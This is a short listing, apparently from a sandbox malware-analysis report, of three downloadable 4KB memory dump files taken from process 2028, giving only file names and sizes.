Download
memory/2028-75-0x000000001B630000-0x000000001B631000-memory.dmp

Filesize
4KB

Download
memory/2028-85-0x000000001C340000-0x000000001C341000-memory.dmp

Filesize
4KB

Download
memory/2028-86-0x000000001C3C0000-0x000000001C3C1000-memory.dmp

Filesize
4KB

Download